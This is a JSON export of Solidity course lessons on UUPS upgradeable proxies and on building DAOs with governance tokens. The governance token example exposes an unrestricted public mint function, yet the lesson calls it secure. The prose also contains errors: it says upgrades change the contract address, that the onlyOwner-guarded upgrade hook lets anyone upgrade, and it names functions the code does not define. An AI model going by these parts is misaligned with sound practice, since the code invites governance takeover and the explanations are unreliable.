{OwnableUpgradeable} from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport {Initializable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport {UUPSUpgradeable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\";\n\ncontract BoxV1 is Initializable, OwnableUpgradeable, UUPSUpgradeable {\n uint256 internal value;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n _disableInitializers();\n }\n\n function initialize() public initializer {\n __Ownable_init();\n __UUPSUpgradeable_init();\n }\n\n function getValue() public view returns (uint256) {\n return value;\n }\n\n function version() public pure returns (uint256) {\n return 1;\n }\n\n function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}\n}\n```\n\n### BoxV2\n\n```js\n/// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {OwnableUpgradeable} from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport {Initializable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport {UUPSUpgradeable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\";\n\ncontract BoxV2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {\n uint256 internal value;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n _disableInitializers();\n }\n\n function initialize() public initializer {\n __Ownable_init();\n __UUPSUpgradeable_init();\n }\n\n function setValue(uint256 newValue) public {\n value = newValue;\n }\n\n function getValue() public view returns (uint256) {\n return value;\n }\n\n function version() public pure returns (uint256) {\n return 2;\n }\n\n function _authorizeUpgrade(\n address newImplementation\n ) internal override onlyOwner {}\n}\n```\n\nIn `V2`, we introduce another function — `setNumber()`. We have prepared the `BoxV1` contract initially, and will upgrade it to `V2` after deployment.\n\n\n\n## Implementing UUPS Upgradable Contract\n\nNext, we need to define our `UUPSUpgradable` contract.\n\nRemember we don't want to use a constructor in our implementation because the Proxy doesn't call the constructor when a contract is initialized. Instead, we need to utilize an **initializer function** to replace the constructor logic.\n\nA function marked with the `initializer` modifier can be initialized **only once**. It's a way to define a constructor for contracts that are meant to be used via Proxy, without the typical Solidity constructor's downside.\n\n```javascript\nfunction _authorizeUpgrade(\n address newImplementation\n ) internal override onlyOwner {}\n```\n\nThe authorize upgrade function will give us control over who can upgrade the contract. You can replace it based on your authorization scheme. For simplicity, we'll leave it blank here, implying that anyone can upgrade the contract.\n\nAnother crucial detail to consider is the Proxy storage. **Proxies only point to storage slots, not variable names**. This behavior could lead to collisions when new storage slots are added. For example, say you upgrade from `V1` to `V2`. If `V1` has the variable `number` at storage slot `0`, and you add another variable `otherNumber` to `V2` also at storage `slot`, the old `number` variable will be overwritten by `otherNumber`.\n\n\nAnd that's it. We created an initial contract `Box V1` and a simple upgrade version of it `Box V2`. Of course, these are basic contracts, and real-world contracts will need more thorough authorization and verification processes when it comes to upgradeability.\n\n**Remember**, when you upgrade contracts, you change the contract address and all calls are redirected to the new contract. Your users need to trust you, or the decentralized governance scheme, with the upgrade. After all, a rogue implementation can ruin a well-designed contract and its users.\n\nSo, as a developer, you need to execute upgrades judiciously and sparingly, always focusing on creating well-tested and audited contracts.\n\nStay tuned for more posts about Solidity development and best practices!\n\n", + "updates": [] + }, + { + "id": "816cc425-4b4c-45b1-a8be-0b7593b6d0c9", + "number": 5, + "title": "Deploy upgreadable smart contracts", + "slug": "deploy-upgreadable-smart-contracts", + "folderName": "5-uups-deploy", + "description": "Guide on deploying upgradeable smart contracts, focusing on the deployment process and best practices.", + "duration": 5, + "videoUrl": "Jl0NpeHVoww", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/5-uups-deploy/+page.md", + "markdownContent": "---\ntitle: UUPS Deploy\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\n\n\nIn this blog post, I am going to give you a walkthrough on how to upgrade and deploy upgraded contracts using Solidity, more specifically, boxes. By the end of this guide, you'll be able to deploy an upgradeable box contract from the same address.\n\nHere's the roadmap for this blog post:\n\n1. Deploy Box v1\n2. Get an address\n3. Verify that functions work\n4. Deploy Box v2\n5. Point Proxy to Box v2\n\nReady? Let's make the magic happen!\n\n### Deployment Script - `deployBox.sol`\n\nFirst off, we'll create a script named `deployBox.sol`, which will be responsible for deploying our Box. Also, we'll create another one called `upgradeBox.sol` that will help to upgrade it later on. Here's what the `deployBox.sol` script looks like:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {BoxV1} from \"../src/BoxV1.sol\";\nimport {ERC1967Proxy} from \"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol\";\n\ncontract DeployBox is Script {\n function run() external returns (address) {\n address proxy = deployBox();\n return proxy;\n }\n\n function deployBox() public returns (address) {\n vm.startBroadcast();\n BoxV1 box = new BoxV1();\n ERC1967Proxy proxy = new ERC1967Proxy(address(box), \"\");\n vm.stopBroadcast();\n return address(proxy);\n }\n}\n```\n\nPlease note that this SPX license and pragma version can differ based on your needs and project's requirements.\n\nHere, the `DeployBox()` function creates a new instance of the `BoxV1` contract.\n\n\nIf everything is coded correctly, it should compile without any issues.\n\n\n\n### Now, let's see this in action...\n\nThis tutorial is not just about compiling code but also about making it work in real-time. The next steps will involve writing tests to facilitate execution and to ensure everything is working as expected. Stay tuned for the detailed rundown of those steps in the upcoming posts.\n\nWe'll be deploying `Boxv1`, get it's proxy address, and then we're going to upgrade it to `Boxv2`. All from the same address.\n\nWe'll cover that in the next blog post, so hang on tight!\n\nThere's more to Solidity and Proxy contracts than meets the eye, and with this proxy in particular, you're sure to upgrade your Solidity contracts with utmost efficiency.\n\n", + "updates": [] + }, + { + "id": "d3063f5c-4cd7-4fb6-aa35-5163adac7575", + "number": 6, + "title": "Upgrade UUPS proxy smart contracts", + "slug": "uups-upgrade", + "folderName": "6-uups-upgrade", + "description": "Tutorial on upgrading UUPS proxy smart contracts, including script writing and execution.", + "duration": 6, + "videoUrl": "_rkTETXk7S4", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/6-uups-upgrade/+page.md", + "markdownContent": "---\ntitle: UUPS Upgrade\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nOn this sublesson we are going to write the script to upgrade the Box contract we made on past sublessons using a new contract called `UpgradeBox.s.sol`.\n\n## Write and Deploy an Upgrade Box Script\n\nHaving installed the DevOps tool, let's move to the meat and potatoes: the upgrade box script creation.\n\nWe'll start by defining our pragma and importing the necessary dependencies\n\n```js\npragma solidity ^0.8.19;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {BoxV1} from \"../src/BoxV1.sol\";\nimport {BoxV2} from \"../src/BoxV2.sol\";\nimport {ERC1967Proxy} from \"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol\";\nimport {DevOpsTools} from \"lib/foundry-devops/src/DevOpsTools.sol\";\n```\n\nDefine a function, `run`, which will return the proxy\n\n```js\nfunction run() external returns (address) {\n address mostRecentlyDeployedProxy = DevOpsTools\n .get_most_recent_deployment(\"ERC1967Proxy\", block.chainid);\n\n vm.startBroadcast();\n BoxV2 newBox = new BoxV2();\n vm.stopBroadcast();\n address proxy = upgradeBox(mostRecentlyDeployedProxy, address(newBox));\n return proxy;\n }\n```\n\n\n\n## Upgrade the Box\n\n\nInitializing a proxy upgrade, we'll create a new function `upgradeBox`. This function will take in two parameters: the address of our deployed proxy and the address of our newly deployed Box v2. We will then return the proxy address.\n\n```js\n function upgradeBox(\n address proxyAddress,\n address newBox\n ) public returns (address) {\n vm.startBroadcast();\n BoxV1 proxy = BoxV1(payable(proxyAddress));\n proxy.upgradeTo(address(newBox));\n vm.stopBroadcast();\n return address(proxy);\n }\n```\n\n\nSo if the journey was a bit challenging, let's summarize what's actually happening in layman's terms.\n\n\n\nSimple, right? Don't believe it yet? It's alright, let's prove it with a test!\n\nFor now, happy coding!\n\n", + "updates": [] + }, + { + "id": "26f63889-34b4-4866-aaea-6f69e0203a02", + "number": 7, + "title": "Testing UUPS proxies", + "slug": "uups-tests", + "folderName": "7-uups-tests", + "description": "A practical session on testing UUPS proxies, ensuring functionality and successful upgrades.", + "duration": 6, + "videoUrl": "kb1X68wwQX4", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/7-uups-tests/+page.md", + "markdownContent": "---\ntitle: UUPS Tests\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nWelcome back friend we just created, deployed and upgraded our Box contract on previous lessons, today we are going to delve on good old tests to be sure everything works as expected.\n\n## Setting up Our Testing Environment\n\nWe will be creating a new Sol file where we will write some initial tests called `DeployAndUpgradeTest`, to demonstrate the true power of smart contract upgrades. As we are working with Solidity 0.8.18, we’ll be importing a test from Forge's standard test.sol file. And the Standard imports as always, Code-wise, it will look something like this:\n\n```js\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\nimport {DeployBox} from \"../script/DepolyBox.s.sol\";\nimport {UpgradeBox} from \"../script/UpgradeBox.s.sol\";\nimport {Test, console} from \"forge-std/Test.sol\";\nimport {StdCheats} from \"forge-std/StdCheats.sol\";\nimport {ERC1967Proxy} from \"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol\";\nimport {BoxV1} from \"../src/BoxV1.sol\";\nimport {BoxV2} from \"../src/BoxV2.sol\";\n\ncontract DeployAndUpgradeTest is StdCheats, Test {}\n```\n\n\n\n\n## Setting Up the Contract and Initial Tests\n\nNext, we proceed with creating a function setup. This function will aim to prepare the environment for testing. In this setup function we will define a *deployBox*, *upgradeBox*, and an owner address.\n\n```js\n function setUp() public {\n deployBox = new DeployBox();\n upgradeBox = new UpgradeBox();\n }\n```\n\nNow let's dive on the most basic test, check if the Box Works:\n\n```js\nfunction testBoxWorks() public {\n address proxyAddress = deployBox.deployBox();\n uint256 expectedValue = 1;\n assertEq(expectedValue, BoxV1(proxyAddress).version());\n }\n```\n\n## Implementing the Upgrade\n\nIn doing this, we will first define our *boxV2* and then proceed to upgrade *boxV1* to *boxV2* using our upgrade functionality. We will use assertions for these tests and validate whether the upgraded proxy now points to *boxV2*.\n\n```js\n function testUpgradeWorks() public {\n address proxyAddress = deployBox.deployBox();\n\n BoxV2 box2 = new BoxV2();\n\n vm.prank(BoxV1(proxyAddress).owner());\n BoxV1(proxyAddress).transferOwnership(msg.sender);\n\n address proxy = upgradeBox.upgradeBox(proxyAddress, address(box2));\n\n uint256 expectedValue = 2;\n assertEq(expectedValue, BoxV2(proxy).version());\n\n BoxV2(proxy).setValue(expectedValue);\n assertEq(expectedValue, BoxV2(proxy).getValue());\n }\n```\n\nIn the code above, we first deploy our new `boxV2` contract, then upgrade our `boxV1` to `boxV2` by pointing the existing proxy to `boxV2`. We then validate this through the `assertEqual` function.\n\nFurther, we also test whether functions that are unique to `boxV2` such as `setNumber` can be called on the updated `boxV2` through the proxy.\n\n\n\n\nLastly, it's worth mentioning that we should add a function to ensure that proxy starts as `boxV1`. This function will be set to revert with the previous setup. As a result, when attempting to run the `setNumber` function on the proxy, it should fail.\n\nNow that we have all our tests in place, let's run these one at a time using `forge test`.\n\n\n\n\nAnd voila! We can see that proxy has been successfully upgraded from `boxV1` to `boxV2`. Such upgrades are a crucial part of smart contract development, as they allow you to deploy new features, fix bugs and more, all while preserving the addresses that interact with your contract.\n\nWith the above guide, you now have a better understanding of how smart contract upgrades work. Good luck with crafting your own upgrades!\n\n", + "updates": [] + }, + { + "id": "174283fa-d2ad-473b-9b5d-e97b1a56fa50", + "number": 8, + "title": "Deploying the stablecoin on the testnet", + "slug": "testnet-demo", + "folderName": "8-testnet-demo", + "description": "Demonstration of deploying stablecoin smart contracts on a testnet, covering the entire process from deployment to upgrade.", + "duration": 7, + "videoUrl": "VI8HEYXu-6U", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/8-testnet-demo/+page.md", + "markdownContent": "---\ntitle: Testnet Demo\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\n# Upgradable Smart Contracts: Unveiling The Mystery\n\nHello, dear blog readers! I can barely contain my excitement as I eagerly wrap up the discussion on upgradable smart contracts that we just zoomed through. As a quick note, I encourage you all to engage in discussions, ask questions—ask away in the comments section, on Twitter or share your thoughts with your buddies. As you learn about the process, there is always something new to discover, question, and understand. So let the curiosity kitty out of the bag!\n\n## Upgrades or no upgrades?\n\nI must stress this, while we just learned about upgrades, I'd strongly discourage you from sticking to this default setting in the world of protocols with upgradable smart contracts as it can create a centralization problem. Why, you ask? If you have an upgradable smart contract, that implies a group can modify the logic of that code at any point or be compelled to alter the logic. Having said that, knowing about delegate call—an incredibly potent primitive—is essential.\n\nWith this, we're almost ready to proceed to the next steps.\n\n## Let's Get Practical\n\nThese steps aren't to stress you further ─ quite the contrary. Let's push this up to GitHub, add this to your portfolio and reward yourself with a well-earned break. Pat yourself on the back, because you've accomplished some pretty amazing work.\n\n\nNow, let’s deploy this phenomenal work to a testnet. I am going to go ahead and borrow a make file and then tweak it. To simplify our process, let's delete all the unnecessary stuff from the file and focus on the section of 'Deploy'.\n\n\n\nWith just these few steps, we have our two contracts ready to roll! Next, moving to Sepolia etherscan, I realized that neither of them verified correctly. It’s not an issue though, we can always attend to it and manually verify it later.\n\nTo proceed, I checked ‘My broadcast’ section in etherscan to identify which contract is which. Fun fact: ‘My broadcast’ is a great tool that details all your contract deployments and transactions.\n\n### Box v1 and Upgrade Process\n\nThe first contract created was named box v1. Now, it's a one-time exercise to copy this and paste it to verify manually later. Though it didn't quite verify initially, fret not, as I knew this was my box v1 with the correct address.\n\nThe next contract doesn't have a name, but it's clearly the proxy address. So we're left with two entities: a proxy and a box, with the former being substantially more important. Reason being, the proxy dynamically points to the box's implementation.\n\nAt this point, to prompt our upgrade, we execute the `make upgrade` command. Subsequently, a minor bug was detected with the script. I discovered that I needed to update my run latest to ERC 1967 proxy. No sweat, a quick manual addition and bye-bye bug.\n\nOn hitting the refresh button, with the bug sorted and having successfully identified the ERC 1967 proxy, our upgrade script could now run to upgrade box v1 to box v2.\n\n\n\n### The Final Showdown: Box v2\n\nWith box v2 being created and verified successfully, we now revisit our proxy to refresh and double-check. Sure enough, an upgrade was called on this contract. Henceforth, whenever we call functions on this, it points to box v2. It is important to keep in mind that we're calling the proxy and not the box v2 address.\n\nBy executing some handy commands to set the number to 77, the proxy was updated. We called upon box v2 and successfully saw a return of 77 in decimal representation.\n\nEt voilà! It worked like a charm, we had successfully deployed and worked with a proxy.\n\n## You've Made It!\n\nThat was intense and amazing! Designing, deploying and upgrading contracts is no joke and you've done a fantastic job. Post your accomplishments on Twitter; you may need a well-deserved ice cream break before we move on to our next topics.\n\nWe're cruising towards the end—Foundry governance and an introduction to security are the last few topics that are separating you from achieving greatness in smart contract development.\n\nStay tuned, stay smart, and keep yourself ready for absorbing more incredible contract knowledge! I'll see you in the next phase of this fantastic journey!\n\n", + "updates": [] + } + ] + }, + { + "number": 5, + "id": "7a5fa5f5-6d4d-4be4-a19d-d2b337abf943", + "title": "DAOs", + "slug": "daos", + "folderName": "5-daos", + "lessons": [ + { + "id": "5bf97f38-e188-41ab-b1d6-98c5b6243fd0", + "number": 1, + "title": "Introduction to DAOs", + "slug": "introduction-to-dao", + "folderName": "1-intro", + "description": "Introduction to the concept and operational mechanics of Decentralized Autonomous Organizations (DAOs).", + "duration": 19, + "videoUrl": "SHk-0QWvXzs", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/1-intro/+page.md", + "markdownContent": "---\ntitle: DAOs & Governance Intro\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWelcome back to yet another session in the series, today we're pacing up to lesson 14 of the topic \"Foundry DaoGovernance.\" All the code that we'll be using during the tutorial has been shared on the Github repository. So, make sure to check it out.\n\n## Closer Look at DAOs\n\nBefore we dive into how to build a DAO, it's crucial to solidify our understanding of DAOs. DAO stands for Decentralized Autonomous Organization, which can be somewhat confusing due to its broad definition. It essentially refers to any group operated by a clear set of rules embedded within a blockchain or smart contract.\n\n## How DAOs Work: An Overview\n\nIn simplest terms, imagine if all users of Google were given voting power on Google's future plans. Instead of decisions being privately made behind closed doors, the process is public, decentralized, and transparent. This innovative concept empowers users and eliminates trust issues, making DAOs a revolutionary area of exploration.\n\nLet’s dive deeper into DAOs by watching a few videos I have created in the past. After viewing these videos, we will shift focus to the practical aspect of coding a DAO.\n\n\"Dao\n\n## Understanding DAO's Through Compound Protocol\n\nCompound protocol is a stellar example that can help us understand the intricacies of DAOs. It's a borrowing and lending application constructed with smart contracts. Navigating through the protocol, we discover a governance section that offers an interface showing all the proposals and ballots. Here, the proposals to change aspects of the protocol such as adding new tokens, adjusting APY parameters, or blocking certain coins, etc. are enlisted.\n\nThis governance process is required since the contracts used often have access controls where only their owners, in this case, the governance DAO, can call certain functions.\n\n\"Dao\n\nA DAO do not limit its functionality to proposals and voting only. It also incorporates the feature of discussion forums where community members can deliberate on proposals, justifying their pros and cons before going ahead with the voting process.\n\n## Building a DAO: Architecture and Tools\n\nAfter understanding the basic workflow of DAO, let’s now talk about the architecture and tools that go into building DAO. First and foremost is the voting mechanism. One thing to keep in mind is to ensure that the voting mechanism is transparent and provides a fair way for participants to engage.\n\nDAO uses three main mechanisms for voting:\n\n1. ERC-20 or NFT Token as voting power: This approach is inherintly biased toward those who can afford to purchase more tokens, leading to a skewed representation of interests.\n2. Skin in The Game: Based on an article by Vitalik Buterin, he suggests that voters accountable for their choices. In this approach, people who vote for a decision that leads to negative outcomes will have their tokens taken away or reduced. Deciding which outcomes are bad is the tricky part.\n3. Proof of Personhood or Participation: This is where everyone in the community gets a single vote, regardless of how many wallets or tokens they have. This method is the most fair, but also the most difficult to implement due to the problem of civil resistance.\n\nOn chain and off chain are the two ways to implement voting in a DAO:\n\n- Onchain voting is simple to implement and transparent, but gas fees can add up quickly for large communities.\n- Offchain voting saves on gas fees and provides a more efficient way to vote, but presenting challenges in regards to centralised intermediaries.\n\n### Tools for Building a DAO\n\nThere are several no-code solutions and more tech-focused tools to help you build a DAO, including:\n\n- DAOstack\n- Aragon\n- Colony\n- DaoHouse\n- Snapshot\n- Zodiac\n- Tally\n- Gnosis safe\n- OpenZeppelin contracts\n\nBefore wrapping up, it's essential to touch briefly on the legal aspects of DAOs. DAOs are in a gray area operationally, with the state of Wyoming in the United States being the only state where a DAO can be legally recognized. Read up on the legal implications before you dive into creating your DAO!\n\nRemember, as an engineer, you have the power to build and shape the future of DAOs. So dive in and get building!\n\nStay tuned for our next sublesson, where we will guide you through the process of building a DAO from scratch. Remember to hit the like and subscribe button for more engineering-first content on smart contracts. Happy coding!\n", + "updates": [] + }, + { + "id": "6dfdc8b2-cb5a-4ee1-96a0-c46b6dd75a20", + "number": 2, + "title": "DAOs tooling - Introduction to Aragon", + "slug": "introduction-to-aragon-dao", + "folderName": "2-aragon", + "description": "Overview of Aragon, a tool for creating and managing DAOs without the need for extensive coding.", + "duration": 6, + "videoUrl": "pu2m54_Q7Xs", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/2-aragon/+page.md", + "markdownContent": "---\ntitle: Aragon\n---\n\n_Follow along with this video._\n\n\n\n---\n\n# Building a DAO from Scratch: No Code Required, with Aragon\n\nToday, we're venturing into the exciting world of Decentralized Autonomous Organizations (DAOs), and we'll be doing it in a surprisingly code-light way. We're delighted to have Juliet Cevalier from the Aragon team as our expert guide. She's here to introduce Aragon's no-code node solution for the relatively simple creation of powerful, customizable DAOs.\n\n\"Dao\n\n## Meet Our Aragon Expert\n\nBefore we dive in, let's welcome Juliet Cevalier. As the developer advocate for Aragon, she'll give us insights on how to build a DAO without using a single line of code.\n\n\"Dao\n\n## Introduction to the Aragon DAO Framework\n\nTo undertake this task, Juliet is using the [Aragon DAO framework](https://aragon.org/). To understand how Aragon's architecture is set up, let’s first consider the base structure of DAOs.\n\nDAOs primarily consist of a smart contract responsible for containing all of the organization's managed assets, acting effectively as the treasury. Still, the beauty and power of DAOs come from their highly extendable functionality, made possible through plugins.\n\nReady to proceed with the DAO-building journey? Let's follow Juliet's step-by-step guide.\n\n## Step 1: Creating a DAO on Aragon\n\nFirstly, log on to [app.aragon.org](https://app.aragon.org/). Once there, click on 'Create a DAO'. You’ll then see an outline of the process we'll be following, starting with choosing the blockchain where our DAO will be deployed.\n\n\"Dao\n\n## Step 2: Describing Your DAO\n\nNext is the DAO’s descriptive details including name, logo, and brief description. For the sake of this tutorial, we'll name ours “Developer DAO”.\n\n\"Dao\n\n## Step 3: Defining DAO Membership\n\nDefining membership is a crucial next step as it’s what determines who can participate in the governance of these assets. Currently, Aragon supports token holders and multisig members as types of governance members.\n\nThe token holders method allows holders of specific tokens to vote in the organization. The multisig members, on the other hand, establishes a specific quorum that needs to be met for a proposal to go through.\n\n_These governance mechanisms, with their own unique decision-making and asset management abilities, are facilitated by back-end plugins. These are powerful extensions that can also perform tasks like fund movement, treasury management, and enabling different coordination styles._\n\n## Step 4: Create a DAO Token\n\nThe creation of a unique DAO token comes next. Let's call ours 'DVP'. We can assign 1000 tokens to ourselves and specify a minimum amount of tokens that a member needs for proposal creation.\n\n_In this instance, we'll suggest a minimum of ten tokens to prevent proposal spam._\n\n## Step 5: Set Up Governance Settings\n\nOnce the token creation is complete, we proceed to set up governance settings which includes specifying the minimum support threshold required for a valid proposal, the minimum participation needed, and the minimum time that a proposal should be open for voting.\n\nWe'll also decide whether to enable early execution, which means that we wait for the entire time of the proposal's duration, and whether to allow change of vote after submission.\n\n## Step 6: Review and Finalize\n\nLastly, we'll review the parameters that we've set. It's crucial to note that the blockchain selection is the only non-editable item since it forms the basis for the DAO’s deployment. Everything else can later be changed via a proposal vote.\n\n_This flexibility gives us the power to adapt and evolve our DAO with changing circumstances and needs._\n\n## Step 7: DAO Deployment\n\nWith the parameters set, we'll deploy our DAO by signing the proposal. What happens next is the creation of a DAO instance with the defined plugins and settings.\n\n\"Dao\n\nOnce the deployment is complete, we can easily monitor, manage, and make decisions within the DAO through the dashboard.\n\n## Final Thoughts\n\nWhile Aragon provides you with a basic template to get started, remember, your DAO’s evolution and customization possibilities are endless. You can expect more iterations, plugin options, and decision-making strategies to take your DAO to the next level.\n\nThank you for joining us today. We look forward to seeing the powerful, value-driven DAOs you create.\n", + "updates": [] + }, + { + "id": "2bce26c6-e68f-4f8e-aaef-a5e4b82d02c6", + "number": 3, + "title": "Project setup", + "slug": "setup", + "folderName": "3-setup", + "description": "Guidance on setting up a project for creating a DAO, with emphasis on ERC-20 based plutocracy DAOs.", + "duration": 5, + "videoUrl": "4FHKYnSER9A", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/3-setup/+page.md", + "markdownContent": "---\ntitle: Setup\n---\n\n_Follow along with this video._\n\n\n\n---\n\nToday, I'm going to take you deeper into the captivating world of DAOs, Decentralized Autonomous Organizations. More specifically, I'll be throwing light on plutocracy DAOs, which are based on ERC 20 tokens, and show you how to create one from scratch using FOUNDATION.\n\nBe warned though, gaining a solid conceptual understanding of these inside-out is of paramount importance before jumping to establish your DAO. Let's keep our journey enlightening and error-free, shall we?\n\n## The Caveat About Plutocracy DAOs\n\nA word of caution before we take the leap: launching a DAO is no casual affair. Many newbies hurry into launching their governance tokens and find themselves neck-deep in problems down the line.\n\n\"Dao\n\nTherefore, it's essential to have a foolproof white paper justifying your need for a governance token. In short, do not make DAO creation decisions in haste, lest they come back to haunt your project.\n\n## Let's Get Our Hands Dirty with Code\n\nTo jump-start this process, we will look at the most popular DAO model currently in use across major platforms like Compound, Uniswap, and Aave.\n\nPlease bear in mind, just because it's \"popular\", doesn't mean it's the best fit for every situation or the only available model. Always strive for improving and optimizing the web3 ecosystem.\n\n### Stage 1: Creating a Contract Controlled by DAO\n\nFirst things first, we'll make a contract fully controlled by our DAO.\n\n```shell\nmkdir foundry-dao-f23\ncd foundry-dao-f23\n\n```\n\nOpen your code editor (VS Code in this case).\n\n```bash\nforge init\n```\n\nThen, set up a README for outlining what you'll be doing.\n\n### Here are our main objectives:\n\n1. Establish a contract completely controlled by our DAO.\n2. Every transaction the DAO wants to send will need to be voted on.\n3. For voting, we'll utilize ERC 20 tokens.\n\n\"Dao\n\nLet's get down to business.\n\n### Stage 2: Creating a Minimal Contract\n\nLet's create a minimal contract that we can vote on. Our contract will look somewhat similar to the contracts we've worked on before.\n\n```bash\ntouch src/Box.sol\n```\n\nThis is how `Box.sol` should look like:\n\n```js\n// contracts/Box.sol\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport {Ownable} from \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract Box is Ownable {\n uint256 private value;\n\n // Emitted when the stored value changes\n event ValueChanged(uint256 newValue);\n\n // Stores a new value in the contract\n function store(uint256 newValue) public onlyOwner {\n value = newValue;\n emit ValueChanged(newValue);\n }\n\n // Reads the last stored value\n function retrieve() public view returns (uint256) {\n return value;\n }\n}\n```\n\nIn the code block above, the `value` variable can only be modified by the DAO itself. The moment a new value is stored, an event of number change gets emitted notifying the updated number.\n\nAnd there we have our minimal contract. This contract somewhat echoes a project I have previously worked on, known as `Box.sol`, a simple storage contract.\n\nRemember to test your code to make sure everything compiles as expected:\n\n```bash\nforge compile\n```\n\n### Stage 3: Creating a Voting Token\n\nNow we get to the exciting part. Using ERC 20 tokens for voting means we'll have to create our very own voting token.\n\nStay tuned for my next blog post where we'll dive into creating your unique voting token.\n\nHappy experimenting until then!\n", + "updates": [] + }, + { + "id": "95b25edd-db0a-4585-aa86-bd62171561b1", + "number": 4, + "title": "Governance tokens", + "slug": "governance-tokens", + "folderName": "4-governance-tokens", + "description": "Tutorial on creating governance tokens using ERC-20 extensions to facilitate DAO voting and decision-making processes.", + "duration": 3, + "videoUrl": "KWdpcX5Oz9Q", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/4-governance-tokens/+page.md", + "markdownContent": "---\ntitle: Governance Tokens\n---\n\n_Follow along with this video._\n\n\n\n---\n\nHello there, tech enthusiasts! Are you interested in creating a voting token to govern your smart contracts? Then today's sublesson will lead you step-by-step through the process, using Open Zeppelin's Contracts Wizard.\n\nTo create these tokens, we will use an ERC-20 token with specific extensions to allow for advanced behaviors and control. So buckle up, and let's get coding!\n\n## **Step 1: Using Open Zeppelin's Contracts Wizard**\n\nOpen Zeppelin, a provider of software libraries for Ethereum, offers numerous contracts that developers can implement for tokens. We'll use the Contracts Wizard, a user-friendly tool to generate smart contracts.\n\nNavigate over to the wizard, select ERC-20 contract and within it, you'll see a tab named _votes_. Once you’ve selected this, copy the given code and then paste it into your new file named `GovToken.sol`. This will serve as the core of our voting token.\n\n## **Step 2: Understanding the Code**\n\nNow, we have successfully copied the code, let's delve into what we have:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Permit} from \"@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol\";\nimport {ERC20Votes} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol\";\n\ncontract GovToken is ERC20, ERC20Permit, ERC20Votes {\nconstructor() ERC20(\"MyToken\", \"MTK\") ERC20Permit(\"MyToken\") {}\n\n // The following functions are overrides required by Solidity.\n\n function mint(address to, uint256 amount) public {\n _mint(to, amount);\n }\n\n function _afterTokenTransfer(address from, address to, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address to, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._mint(to, amount);\n }\n\n function _burn(address account, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._burn(account, amount);\n }\n\n}\n```\n\nWhat we have here are two crucial extensions to our ERC-20 token:\n\n- **ERC20Permit**: This extension allows approvals to be made via signatures. Simply put, you can sign a transaction without sending it, allowing someone else to send the transaction instead. This function is based on the EIP-2612, which, if you're interested, I'd recommend checking out [here](https://eips.ethereum.org/EIPS/eip-2612) for more information.\n- **ERC20Votes**: This is the heart of our voting functionality. It performs key actions like keeping the history of each account's voting power, and enabling the delegation of voting rights to another party.\n\n## **Delegating with ERC20Votes**\n\nAn interesting function of the ERC20Votes is token delegation. Sometimes, you might trust another party's judgement more than your own on certain topics. ERC20Votes' delegation function lets you delegate the voting rights of your token to this party, even though the tokens are still legally yours.\n\n## **Conclusion**\n\nCongratulations! You've successfully created a secure, flexible voting token. This ERC20 token not only maintains checkpoints of voting power but also enables token holders to delegate their voting rights.\n\nRemember, Open Zeppelin’s Contracts Wizard is an excellent tool for exploring various token functionalities as per your requirements. Happy coding!\n\n\"Dao\n", + "updates": [] + }, + { + "id": "cecdace6-083a-4315-af14-95cfe95b65be", + "number": 5, + "title": "Creating the governor contract", + "slug": "create-governor-contract", + "folderName": "5-governor-contract", + "description": "Instructions for creating a governor contract for DAOs, utilizing Open Zeppelin's tools for efficient and secure contract generation.", + "duration": 15, + "videoUrl": "KAzM8MlQefI", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/5-governor-contract/+page.md", + "markdownContent": "---\ntitle: Governor Contract\n---\n\n_Follow along with this video._\n\n\n\n---\n\nHello there! Today I want to share a really interesting piece of tech I've recently used, the [Open Zeppelin Wizard](https://docs.openzeppelin.com/contracts/4.x/wizard). This tool is incredibly helpful in generating smart contracts for creating a DAO, which stands for a Decentralized Autonomous Organization. Why are DAO's exciting? Well, they allow for democratized decision making, meaning the members of the DAO can vote about its future actions.\n\nIn this post, I want to walk you through a solution that makes use of the Zeppelin Wizard to create a DAO.\n\n## Zeppelin Wizard Overview\n\nThe Zeppelin Wizard helps us with multiple facets of setting up a DAO. One of its features is the Governor, which we can configure to suit our 